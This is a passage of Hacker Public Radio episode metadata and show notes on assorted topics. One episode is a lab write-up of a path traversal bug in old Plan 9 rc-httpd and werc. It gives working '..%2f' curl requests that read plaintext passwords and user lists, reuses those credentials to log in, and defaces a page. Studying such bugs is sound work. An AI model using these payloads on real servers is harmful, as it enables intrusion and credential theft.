                                                            https://en.wikipedia.org/wiki/Vim_(text_editor)

                                                            \n

                                                            CentOS

                                                            \n

                                                            https://www.centos.org/

                                                            \n

                                                            https://distrowatch.com/table.php?distribution=centos

                                                            \n

                                                            https://en.wikipedia.org/wiki/CentOS

                                                            \n

                                                            2022-01-01T09:00:00Z

                                                            \n

                                                            AKST Alaska/USA and regions of French Polynesia Anchorage, Fairbanks, Juneau, Unalaska

                                                            \n

                                                            HST Small region of USA and 2 more Honolulu, Rarotonga, Adak, Papeete

                                                            \n

                                                            https://www.worldtimezone.com/newyear.html

                                                            \n

                                                            Solstice

                                                            \n

                                                            https://en.wikipedia.org/wiki/Solstice

                                                            \n

                                                            https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/

                                                            \n

                                                            https://www.newgrange.com/

                                                            \n

                                                            TIVO

                                                            \n

                                                            https://www.tivo.com/custom/product-bolt

                                                            \n

                                                            Yagi Antenna

                                                            \n

                                                            https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna

                                                            \n

                                                            https://www.eeweb.com/lets-build-the-yagi-antenna/

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR, New Years, Talking","version":0,"downloads":0,"valid":1}, {"id":3683,"date":"2022-09-14","title":"Add a favourite to OSMAnd","duration":97,"summary":"Ken keeps forgetting how to add a favourite to OSMAnd","notes":"

                                                            I keep forgetting how to add a favorite to OSMAnd, so I've recorded this show to remind myself how to do it.

                                                            \n\n
                                                              \n
                                                            1. Search for a location, either in the Hamburger Menu or clicking the Magnifying glass icon
                                                            2. \n
                                                            3. Type in your address and select the place
                                                            4. \n
                                                            5. The screen will appear with a Locator Pin
                                                            6. \n
                                                            7. On the bottom click Add and Save
                                                            8. \n
                                                            9. You can optionally include them in a group
                                                            10. \n
                                                            \n\n

                                                            \"Click

                                                            \n

                                                            \"Or

                                                            \n

                                                            \"Type

                                                            \n

                                                            \"Locate

                                                            \n

                                                            \"Click

                                                            \n\n

                                                            \nAbout https://en.wikipedia.org/wiki/OsmAnd
                                                            \n\nOsmAnd is a map and navigation app for Android and iOS. It uses the OpenStreetMap map database for its primary displays, but is an independent app not endorsed by the OpenStreetMap Foundation\n

                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OSMAnd, OSM, Open Street Maps, Android","version":0,"downloads":0,"valid":1}, {"id":3684,"date":"2022-09-15","title":"Wake on Lan","duration":602,"summary":"Wake on Lan mother board feature","notes":"

                                                            WakeOnLAN (WOL)

                                                            \n

                                                            From wiki.wireshark.org

                                                            \n
                                                            \n

                                                            WakeOnLAN is the protocol name given to the so-called Magic Packet technology, developed by AMD and Hewlett Packard for remotely waking up a remote host that may have been automatically powered-down because of its power management features. Although power management allows companies and individuals to cut power usage costs, it presents a problem for IT departments especially in being able to quickly and efficiently remotely manage PC's, especially during off-hours operation when those PC's are most likely to be in a suspended or standby state, assuming power management features are enabled.

                                                            \n
                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Wake on Lan, wol","version":0,"downloads":0,"valid":1}, {"id":3685,"date":"2022-09-16","title":"Budget and an Android app","duration":122,"summary":"Zoho docs for budgeting","notes":"

                                                            Zoho sheets

                                                            \n

                                                            Zoho Sheets

                                                            \n

                                                            Zoho Android app

                                                            \n

                                                            Zoho Sheets - Android app

                                                            \n

                                                            Places

                                                            \n
                                                              \n
                                                            • Dropbox.com
                                                            • \n
                                                            • Box.com
                                                            • \n
                                                            \n

                                                            Budget sample from LibreOffice

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Budget, spreadsheet, LibreOffice, Android","version":0,"downloads":0,"valid":1}, {"id":3686,"date":"2022-09-19","title":" Followup for HPR3675: Clarifications on the path traversal bug","duration":2335,"summary":"installing a plan 9 cpu+web server, namespaces to the rescue, web app security models and more","notes":"

                                                            Followup for HPR3675: Installing a Plan 9 CPU server, Plan 9 web server, clarifications on the path traversal bug, private namespaces to the rescue, web application security models

                                                            \n
                                                            \n

                                                            Installing Plan 9 with libvirt

                                                            \n
                                                            [root@localhost]# virt-install -n 9pwn \\\n--description "pre-patched rc-httpd" \\\n--osinfo=unknown \\\n--memory=4096 \\\n--vcpus=4 \\\n--disk path=/var/lib/libvirt/images/9pwn.qcows,bus=virtio,size=10 \\\n--graphics spice \\\n--cdrom ~/Downloads/9front-8593.acc504c319a4b4188479cfa602e40cb6851c0528.amd64.iso \\\n--network bridge=virbr0\n\n[root@localhost]# virt-viewer 9pwn\n
                                                            \n

                                                            How I find the IP of my guests and add it to my /etc/hosts for faster access.

                                                            \n
                                                            [root@localhost]# virsh domiflist 9pwn\n Interface   Type     Source   Model   MAC\n----------------------------------------------------------\n vnet3       bridge   virbr0   e1000   52:54:00:43:8a:50\n\n[root@localhost]# arp -e | grep 52:54:00:43:8a:50\n192.168.122.20           ether   52:54:00:43:8a:50   C                     virbr0\n\n[root@localhost]# echo cirno 192.168.122.20 >> /etc/hosts\n
                                                            \n

                                                            Proceed as normal with a 9 installation

                                                            \n
                                                            \n

                                                            Set up CPU server with rc-httpd and werc

                                                            \n

                                                            I wrote about configuring a CPU server and also mirrored the notes at my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it's fine) I've snarfed+pasted it here for the sake of completeness and modified it slightly so that it's more accessible for other people. I've also revised these notes so that they're less-broken. I may or may not update them.

                                                            \n

                                                            I'm using 9front for this. It has more secure authentication protocols when it comes to remotely connecting.

                                                            \n

                                                            Configuring a CPU server

                                                            \n

                                                            Add users to file server

                                                            \n

                                                            Connect to the file server and add a new user called <ExampleUser> who is in the groups sys, adm, and upas

                                                            \n
                                                            term% con -C /srv/cwfs.cmd\nnewuser <ExampleUser>\nnewuser sys +<ExampleUser>\nnewuser adm +<ExampleUser>\nnewuser upas +<ExampleUser>\n
                                                            \n

                                                            Reboot and set user=<ExampleUser> when prompted at boot time.

                                                            \n

                                                            Configure user's environment

                                                            \n

                                                            This is similar to cp -r /etc/skel /home/<ExampleUser> on a UNIX system.

                                                            \n
                                                            /sys/lib/newuser\n
                                                            \n

                                                            Configure headless booting

                                                            \n

                                                            Mount the boot partition:

                                                            \n
                                                            term% 9fs 9fat\n
                                                            \n

                                                            edit the boot config, /n/9fat/plan9.ini

                                                            \n
                                                            bootfile=9pc64\nnobootprompt=local!/dev/sdC0/fscache\nmouseport=ps2\nmonitor=vesa\nvgasize=1024x768x14\nuser=<ExampleUser>\ntiltscreen=none\nservice=cpu\n
                                                            \n

                                                            Add hostowner info to nvram

                                                            \n

                                                            Hostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The user= line in our bootprompt sets the hostowner.

                                                            \n

                                                            For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner's key to nvram.

                                                            \n
                                                            term% nvram=/dev/sdF0/nvram auth/wrkey\nbad nvram des key\nbad authentication id\nbad authentication domain\nauthid: <ExampleUser>\nauthdom: cirno\nsecstore key: <press the return key if you do not want to type this at boot time>\npassword: <make it 8 chars>\n
                                                            \n

                                                            Configure auth server

                                                            \n

                                                            In order to connect to the system over the network, the new user must be added to the auth server.

                                                            \n
                                                            term% auth/keyfs\nterm% auth/changeuser <ExampleUser>\nPassword: <what you put earlier>\nConfirm password:\nAssign new Inferno/POP secret? [y/n]: n\nExpiration date (YYYYMMDD or never) [never]: never\nPost id:\nUser's full name:\nDepartment #:\nUser's email address:\nSponsor's email address:\nuser <ExampleUser> installed for Plan 9\n
                                                            \n

                                                            Configure permissions

                                                            \n

                                                            /lib/ndb/auth is similar to a /etc/sudoers. This configuration for the new user allows him to execute commands as other users except for the sys and adm users (but sys and adm are more like groups but who cares).

                                                            \n

                                                            append to /lib/ndb/auth

                                                            \n
                                                            hostid=<ExampleUser>\n    uid=!sys uid=!adm uid=*\n
                                                            \n

                                                            then reboot

                                                            \n

                                                            Test if it worked with drawterm

                                                            \n

                                                            The 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won't work.

                                                            \n
                                                            $ /opt/drawterm -u <ExampleUser> -h example.com -a example.com -r ~/\n
                                                            \n

                                                            Configure rc-httpd

                                                            \n

                                                            edit /rc/bin/rc-httpd/select-handler

                                                            \n

                                                            this file is something like /etc/httpd.conf on a UNIX system.

                                                            \n
                                                            #!/bin/rc\nPATH_INFO=$location\n\n        switch($SERVER_NAME) {\n        case example.com\n               FS_ROOT=/sys/www/$SERVER_NAME\n               exec static-or-index\n\n        case *\n              error 503\n}\n
                                                            \n

                                                            To listen on port 80 and run the handler on port 80:

                                                            \n
                                                            cpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80\ncpu% chmod +x /rc/bin/rc-httpd/select-handler\n
                                                            \n

                                                            Reboot and test.

                                                            \n

                                                            SSL

                                                            \n

                                                            I will never give money to the CA racket. Self-signed is the way to go on systems that don't support acme.sh, the only ACME client I use for obtaining free SSL certs.

                                                            \n

                                                            Generate and install:

                                                            \n
                                                            cpu% ramfs -p\ncpu% cd /tmp\ncpu% auth/rsagen -t 'service=tls role=client owner=*' > key\ncpu% chmod 600 key\ncpu% cp key /sys/lib/tls/key\ncpu% auth/rsa2x509 'C=US CN=example.com' /sys/lib/tls/key | auth/pemencode CERTIFICATE > /sys/lib/tls/cert\ncpu% mkdir /cfg/$sysname\ncpu% echo 'cat /sys/lib/tls/key >> /mnt/factotum/ctl' >> /cfg/$sysname/cpustart\n
                                                            \n

                                                            Now add a listener in /rc/bin/service/tcp443:

                                                            \n
                                                            #!/bin/rc\nexec tlssrv -c /sys/lib/tls/cert -l /sys/log/https /rc/bin/service/tcp80 $*\n
                                                            \n

                                                            And make it executable:

                                                            \n
                                                            cpu% chmod +x /rc/bin/service/tcp443\n
                                                            \n

                                                            Install and configure werc

                                                            \n
                                                            cpu% cd\ncpu% mkdir /sys/www && cd www\ncpu% hget http://werc.cat-v.org/download/werc-1.5.0.tar.gz  > werc-1.5.0.tgz\ncpu% tar xzf werc-1.5.0.tgz\ncpu% mv werc-1.5.0 werc\n\n# ONLY DO THIS IF YOU *MUST* RUN THE THINGS THAT ALLOW WERC TO WRITE TO DISK\n# EG. DIRDIR, BLAGH, ETC\n# DON'T DO THIS, JUST USE DRAWTERM OVER THE NETWORK\n# HTTP CLIENTS SHOULD NEVER BE ALLOWED TO WRITE TO DISK\n# PLEASE I BEG YOU\ncpu% cd .. && for (i in `{du www | awk '{print $2}'}) chmod 777 $i\n\ncpu% cd werc/sites/\ncpu% mkdir example.com\ncpu% mv default.cat-v.org example.com\n
                                                            \n

                                                            now re-edit /rc/bin/rc-httpd/select-handler

                                                            \n
                                                            #!/bin/rc\nWERC=/sys/www/werc\nPLAN9=/\nPATH_INFO=$location\nswitch($SERVER_NAME){\ncase cirno\n        FS_ROOT=$WERC/sites/$SERVER_NAME\n        exec static-or-cgi $WERC/bin/werc.rc\ncase *\n        error 503\n}\n
                                                            \n

                                                            Test the website. Werc is fiddly. Werc is archaic. Werc is fun.

                                                            \n
                                                            \n

                                                            Path traversal vulnerabilities in old versions of rc-httpd

                                                            \n

                                                            Using release COMMUNITY VS INFRASTRUCTURE, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.

                                                            \n

                                                            The vulnerability

                                                            \n
                                                            # get list of werc admin users\n[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members\npwn\n# get that werc user's password\n[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password\nsupersecret\n
                                                            \n

                                                            Wait, the passwords for werc are stored in plain text? Let's log in

                                                            \n
                                                            [root@localhost]# firefox http://cirno/_users/login\n
                                                            \n

                                                            Now let's see if any of the werc users are also system users:

                                                            \n
                                                            # let's enumerate users\n[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users\n-1:adm:adm:glenda,pwn\n0:none::\n1:tor:tor:\n2:glenda:glenda:\n3:pwn:pwn:\n10000:sys::glenda,pwn\n10001:map:map:\n10002:doc::\n10003:upas:upas:glenda,pwn\n10004:font::\n10005:bootes:bootes:\n
                                                            \n

                                                            Let's hope that no one is re-using credentials. Let's check just to be sure

                                                            \n
                                                            $ PASS=supersecret /opt/drawterm -u pwn -h cirno -a cirno -G\ncpu% cat /env/sysname\ncirno\ncpu%\n
                                                            \n

                                                            This is what happens when you have path traversal vulnerabilities, an authentication vulnerability in your CMS, and share login/passwords

                                                            \n

                                                            How the static-or-cgi handler works

                                                            \n

                                                            rc-httpd calls various handler scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the static-or-cgi script.

                                                            \n

                                                            I will compile these archaic rc scripts into pseudo code for the listener.

                                                            \n

                                                            The static-or-cgi handler (the handler specified in the httpd config) is simple:

                                                            \n
                                                            #!/bin/rc\ncgiargs=$*\n\nfn error{\n    if(~ $1 404)\n        exec cgi $cgiargs\n    if not\n        $rc_httpd_dir/handlers/error $1\n}\n\nif(~ $location */)\n    exec cgi $cgiargs\nif not\n    exec serve-static\n
                                                            \n
                                                              \n
                                                            1. If the requested file exists, call the cgi handler and pass it arguments.
                                                            2. \n
                                                            3. If the requested file does not exist, call the serve-static handler.
                                                            4. \n
                                                            \n

                                                            How the serve-static handler works

                                                            \n

                                                            The problem lies in the serve-static handler:

                                                            \n
                                                            #!/bin/rc\nfull_path=`{echo $"FS_ROOT^$"PATH_INFO | urlencode -d}\nfull_path=$"full_path\nif(~ $full_path */)\n    error 503\nif(test -d $full_path){\n    redirect perm $"location^'/' \\\n        'URL not quite right, and browser did not accept redirect.'\n    exit\n}\nif(! test -e $full_path){\n    error 404\n    exit\n}\nif(! test -r $full_path){\n    error 503\n    exit\n}\ndo_log 200\nswitch($full_path){\ncase *.html *.htm\n        type=text/html\ncase *.css\n        type=text/css\ncase *.txt *.md\n        type=text/plain\ncase *.jpg *.jpeg\n        type=image/jpeg\ncase *.gif\n        type=image/gif\ncase *.png\n        type=image/png\ncase *\n        type=`{file -m $full_path}\n}\nif(~ $type text/*)\n    type=$type^'; charset=utf-8'\nmax_age=3600    # 1 hour\necho 'HTTP/1.1 200 OK'^$cr\nemit_extra_headers\necho 'Content-type: '^$type^$cr\necho 'Content-length: '^`{ls -l $full_path | awk '{print $6}'}^$cr\necho 'Cache-control: max-age='^$max_age^$cr\necho $cr\nexec cat $full_path\n
                                                            \n
                                                              \n
                                                            1. encode the full file path into a url
                                                            2. \n
                                                            3. if the url points to a file outside of '*/', the document root, error 503
                                                            4. \n
                                                            5. if the url is broken, exit
                                                            6. \n
                                                            7. if the url points to a file that neither exists nor is readable, error 503
                                                            8. \n
                                                            9. if you haven't exited by now, serve the file
                                                            10. \n
                                                            \n

                                                            The problem is no sanitization. The script checks for files in the current directory BUT NOT BEFORE ENCODING THE URL STRING.

                                                            \n

                                                            The urlencode command works by decoding encoded characters.

                                                            \n
                                                            cpu% echo 'http://cirno/..%2f' | urlencode -d\nhttp://cirno/../\n
                                                            \n

                                                            Does ../ exist in */ ? the answer is yes.

                                                            \n

                                                            .. is a directory contained inside of */

                                                            \n

                                                            */../ is the current working directory.

                                                            \n

                                                            How they fixed it

                                                            \n

                                                            Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.

                                                            \n
                                                            \n

                                                            Other (optional) bad config options in werc

                                                            \n

                                                            rc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.

                                                            \n

                                                            Additionally I have modified the DAC for /sys/www to allow werc, a child process of rc-httpd to write to disk. rc-httpd runs as the none user so it's not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it's the worst idea in the history of all time ever.

                                                            \n

                                                            I enabled the dirdir and blagh modules as if I were the type of admin who does a chmod -R 777 /var/www/htdocs because that's what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.

                                                            \n

                                                            Let's pretend that I'm not the admin of this system and scrape the werc config just to see if the hypothetical badmin has these modules enabled.

                                                            \n
                                                            # get config\n[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config\nmasterSite=cirno\nsiteTitle='Werc Test Suite'\nconf_enable_wiki\nwiki_editor_groups admin\n
                                                            \n

                                                            Hmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let's modify cirno/index.md to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.

                                                            \n
                                                            [root@localhost]# curl -s cirno | pandoc --from html --to plain\nquotes | docs | repo | golang | sam | man | acme | Glenda | 9times |\nharmful | 9P | cat-v.org\n\nRelated sites: | site updates | site map |\n\nWerc Test Suite\n\n-   › apps/\n-   › titles/\n\nSECURITY ADVISORY:\n\nlol this guy still hasn't figured out the ..%2f trick\n\nPowered by werc\n
                                                            \n

                                                            Modifying werc to support password hashing

                                                            \n

                                                            Adding password hashes isn't too difficult. Being constrained by time, I have not done this quite yet. Reading the source code, all it takes is modifying 2 werc scripts: bin/werclib.rc and bin/aux/addwuser.rc

                                                            \n
                                                            % echo 'supersecret' | sha1sum -2 512\n
                                                            \n
                                                            \n

                                                            Private namespaces to the rescue

                                                            \n

                                                            Luckily enough, the webserver runs as the none user with it's own namespace.

                                                            \n

                                                            Comparing the hostowner's namespace and none user's namespace

                                                            \n

                                                            I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.

                                                            \n
                                                            cpu% ns | sort > cpu.ns\ncpu% ps -a | grep -e 'listen.*80' | grep -v grep\nnone            355    0:00   0:00      132K Open     listen [/net/tcp/2 tcp!*!80]\ncpu% ns 355 | sort > listen.ns\ncpu% diff -u listen.ns cpu.ns\n--- listen.ns\n+++ cpu.ns\n@@ -6,17 +6,29 @@\n bind  /amd64/bin /bin\n bind  /mnt /mnt\n bind  /mnt/exportfs /mnt/exportfs\n+bind  /mnt/temp/factotum /mnt/factotum\n bind  /n /n\n bind  /net /net\n bind  /root /root\n+bind -a '#$' /dev\n bind -a '#I' /net\n+bind -a '#P' /dev\n+bind -a '#S' /dev\n bind -a '#l' /net\n+bind -a '#r' /dev\n+bind -a '#t' /dev\n+bind -a '#u' /dev\n+bind -a '#u' /dev\n bind -a '#¤' /dev\n bind -a '#¶' /dev\n+bind -a '#σ/usb' /dev\n+bind -a '#σ/usbnet' /net\n bind -a /rc/bin /bin\n bind -a /root /\n+bind -b '#k' /dev\n bind -c '#e' /env\n bind -c '#s' /srv\n+bind -c /usr/pwn/tmp /tmp\n cd /usr/pwn\n mount -C '#s/boot' /n/other other\n mount -a '#s/boot' /\n@@ -26,4 +38,4 @@\n mount -a '#s/slashmnt' /mnt\n mount -a '#s/slashn' /n\n mount -aC '#s/boot' /root\n-mount -b '#s/factotum' /mnt\n+mount -b '#s/cons' /dev\n
                                                            \n

                                                            The major difference is that the hostowner (equivalent to root user) has a lot more things bound to his namespace:

                                                            \n
                                                              \n
                                                            • '#$' PCI interfaces
                                                            • \n
                                                            • '#P' APM power management
                                                            • \n
                                                            • '#S' storage devices
                                                            • \n
                                                            • '#r' realtime clock and nvram
                                                            • \n
                                                            • '#t' serial ports
                                                            • \n
                                                            • '#u' USB
                                                            • \n
                                                            • '#σ' /shr global mountpoints
                                                            • \n
                                                            • '#k' keyboard
                                                            • \n
                                                            • /tmp directories
                                                            • \n
                                                            • '#s' various special files relating to services
                                                            • \n
                                                            \n

                                                            The listen process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by none.

                                                            \n
                                                            \n

                                                            Closing

                                                            \n

                                                            An argument could be maid that the rc-httpd vulnerability was \"not a bug\" because \"namespaces are supposed to segregate the system\".

                                                            \n

                                                            I disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; all user input is dangerous and all user input that becomes remote code execution always results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.

                                                            \n

                                                            For example, when I write PHP applications, I consider things in this order:

                                                            \n
                                                              \n
                                                            1. don't pass unnecessary resources into the document root via symlinks, bind mounts, etc.
                                                            2. \n
                                                            3. never ever use system() in a context where user input can ever be passed to the function in order to avoid shell escapes
                                                            4. \n
                                                            5. sanitize all user input depending on context. Ex: if the PHP program is directly referencing files, make a whitelist and compare requests to this whitelist. If the PHP process is writing to a database, use prepared statements.
                                                            6. \n
                                                            7. fire up a kali linux vm and beat the test server half to death
                                                            8. \n
                                                            9. iterate upon my ignorance
                                                            10. \n
                                                            11. doubly verify DAC just to be sure
                                                            12. \n
                                                            13. re-check daemon configs to make sure I'm not doing anything stupid
                                                            14. \n
                                                            15. FINALLY: rely on SELinux or OpenBSD chroots (depending on prod env) to save me if all else failed
                                                            16. \n
                                                            \n

                                                            And of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don't make it possible to enumerate users, rate limiters, etc.

                                                            \n

                                                            Each layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.

                                                            \n

                                                            Final exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax /etc/passwd out of the server. Now try php-fpm instead of mod_php or vice-versa. You'll be surprised when even MAC doesn't protect your system.

                                                            \n

                                                            Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had real distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?

                                                            \n

                                                            Plan 9 is perfect for this type of research. I'm considering writing an httpd in C and a werc-like (minus the parts I don't like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.

                                                            \n

                                                            I think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:

                                                            \n
                                                            \n

                                                            Criticism: This program/OS/whatever sucks

                                                            \n
                                                            \n
                                                            \n

                                                            Response: I know, help me fix it.

                                                            \n
                                                            \n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Plan 9, private namespaces, security, research operating systems","version":0,"downloads":0,"valid":1}, {"id":3687,"date":"2022-09-20","title":"2021-2022 New Years Show Part 6","duration":11137,"summary":"The HPR community comes together to chat","notes":"

                                                            Hacker Public Radio New Years Eve Show 2021 - 2022

                                                            \n

                                                            Part 6

                                                            \n

                                                            https://rsgb.org/main/clubs-training/for-students/foundation/

                                                            \n

                                                            https://logseq.com/

                                                            \n

                                                            The End!

                                                            \n
                                                              \n
                                                            • Thanks To:\n
                                                                \n
                                                              • Mumble Server: Delwin
                                                              • \n
                                                              • HPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                              • \n
                                                              • Streams: Honkeymagoo
                                                              • \n
                                                              • EtherPad: HonkeyMagoo
                                                              • \n
                                                              • Shownotes: HPLovecraft
                                                              • \n
                                                            • \n
                                                            \n

                                                            Aftershow

                                                            \n

                                                            Swedish new words of 2021: https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest (Swedish)

                                                            \n

                                                            https://en.wikipedia.org/wiki/Endometriosis

                                                            \n

                                                            https://en.wikipedia.org/wiki/Vulvar_vestibulitis

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR, New Years, Talking","version":0,"downloads":0,"valid":1}, {"id":3688,"date":"2022-09-21","title":"Education, Certifications, and sipping on the Socials","duration":1820,"summary":"I discuss the value of an Education, certifications, and a positive Social Media presence.","notes":"

                                                            I have had a lot of questions over the years about how to proceed with a career, education, and certifications. So, I give my take on these and what they mean relative to my life experiences. Individual mileage may vary. I also discuss the need to have a public facing social media presence that is active and consistent. Hide the private Socials and search to see what actually shows up when searching for yourself. Your future employers will. Just sayin'.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,socialmedia,education,certifications","version":0,"downloads":0,"valid":1}, {"id":3689,"date":"2022-09-22","title":"Linux Inlaws S01E65: TerminusDB","duration":4071,"summary":"TerminusDB NoSQL database","notes":"

                                                            As part of the effort of turning the planet's premier Rust marketing podcast into a full-blown NoSQL show, in this episode Chris hosts some of the key people behind a NoSQL database called TerminusDB (Martin couldn't make it as he was firing, um, re-organising the Inlaw's marketing department once again). Luke (the CEO) and Gavin (CTO) of TerminusDB spill the beans on the history of the project, ontologies and why they still matter not only in a mobile-first world and why a website called DB Engines simply doesn't do the trick (putting it very diplomatically). Never mind the road ahead... (including quantum AI and some other fancy stuff - you heard it here first!). And also next week's lotto numbers (perhaps).

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"TerminusDB, graph databases, Seshat, Rust, Carbon by Google, Substack","version":0,"downloads":0,"valid":1}, {"id":3690,"date":"2022-09-23","title":"Planning the Trip","duration":817,"summary":"Taking our revised plan to completion","notes":"

                                                            We take our revised objectives from the last episode and flesh out a completed plan that gets us out west and back home again.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, trip planning, full trip","version":0,"downloads":0,"valid":1}, {"id":3691,"date":"2022-09-26","title":"Starship.rs the best prompt I don't use","duration":1529,"summary":"Bash prompts","notes":"

                                                            Here's the snippets I use in my .bashrc file.

                                                            \n\n
                                                            RED='\033[0;31m'\nPLAIN='\033[0m' # No Color\nWHITE='\e[97m'\nGREEN='\e[0;32m'\nPURPLE='\e[35;35m'\nCYAN='\e[36;36m'\n\nJAVA_VERSION=`java --version | head -1 | cut -f2 -d' '`\n\nIP=$(hostname -I | awk '{print $1;}' )\nsource /usr/doc/git-2.35.1/contrib/completion/git-prompt.sh\nPS1='\! [\['$GREEN'\]$(hostname -s) $IP\['$PLAIN'\]] [\['$CYAN'\]$(pwd -P)\['$PLAIN'\]] $(__git_ps1 "[\['$PURPLE'\] %s\['$PLAIN'\]]")[☕ '$JAVA_VERSION']\n\['$GREEN'\]$\['$PLAIN'\] '
                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bash,ps1,terminal,linux","version":0,"downloads":0,"valid":1}, {"id":3692,"date":"2022-09-27","title":"What is a real hacker?","duration":1840,"summary":"I discuss the issue of what makes a real hacker with my my son","notes":"

                                                            In this episode, I discuss the ever prominent question of \"What is a real hacker?\" in explicitly explicit language. So enjoy the discussion and give me your thoughts. This topic always gets peoples feathers ruffled, so agree, disagree? Leave your thoughts or post your own segment on HPR!

                                                            \n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,hacking,hacker","version":0,"downloads":0,"valid":1}, {"id":3693,"date":"2022-09-28","title":"Fixing the automatic cutoff mechanism to an electric mower","duration":274,"summary":"Rho`n describes fixing the safety mechanism to his electric mower","notes":"

                                                            Synopsis

                                                            \n\n

                                                            In this episode, Rho`n fixes the safety mechanism to his Neuton electric mower. Recently the automatic cutoff mechanism was getting finicky. Needing to pull the safety bar back just the correct amount to keep the mower running. Often needing to keep hands on both the left and right sides of the safety bar to prevent the mower from turning off.

                                                            \n

                                                            After opening up the housing holding the safety bars, it appeared that the tension spring which causes the bars to disengage from the switch when the bars are released was loose. This would allow the prong that the bars push into the switch contact to slip off the contact and slide overtop of the switch—turning off the mower. After tightening the coils and putting it back in place, the issue was resolved.

                                                            \n\n
                                                            \n
                                                            \n \"Neuton\n
                                                            \n
                                                            Neuton electric mower with handle collapsed showing the bottom of the safety handle housing.
                                                            \n
                                                            \n
                                                            \n \"Internal\n
                                                            \n
                                                            Internal view of the automatic cutoff mechanism.
                                                            \n
                                                            \n
                                                            \n\n

                                                            Attribution

                                                            \n\n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: Harp Transition Music Cue
                                                            \nAuthor: DanJFilms
                                                            \nLicense: Creative Commons Zero

                                                            \n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"electric lawnmower,lawnmower,repair","version":0,"downloads":0,"valid":1}, {"id":3694,"date":"2022-09-29","title":"Robo Tripping Ravelords of the Apocalypse","duration":616,"summary":"Organic Synthesis of Human and Machine Occurs Post Cosmic Event ","notes":"\n

                                                            In the aftermath of the cosmic event that destroyed all computers below a certain die size, more robust machines emerge from the ashes.

                                                            \n\n

                                                            \"Sketch

                                                            \n","hostid":401,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"beam,righttorepair,robots,mechatronics,apocalypse","version":0,"downloads":0,"valid":1}, {"id":3695,"date":"2022-09-30","title":"How I watch youtube with newsboat","duration":663,"summary":"Using youtube's channel RSS feeds to watch youtube from the command line","notes":"

                                                            How I watch youtube with newsboat

                                                            \n

                                                            I find that the youtube web ui is designed to keep users on the site by feeding them an unending stream of information. Bright colors, distracting thumbnails, peanut galleries, etc. I prefer to consume my videos in the same way I consume everything else: via RSS.

                                                            \n

                                                            RSS is my favorite way of aggregating things that other people have made because it allows me, the user, to interact with their things

                                                            \n

                                                            The only dependencies not on a standard UNIX system are newsboat and a video player. I also use yt-dlp to download videos for later viewing. I like mpv but you can substitute your own.

                                                            \n
                                                            $ sudo $pkgmrg install newsboat mpv yt-dlp
                                                            \n

                                                            Getting RSS feeds from youtube

                                                            \n

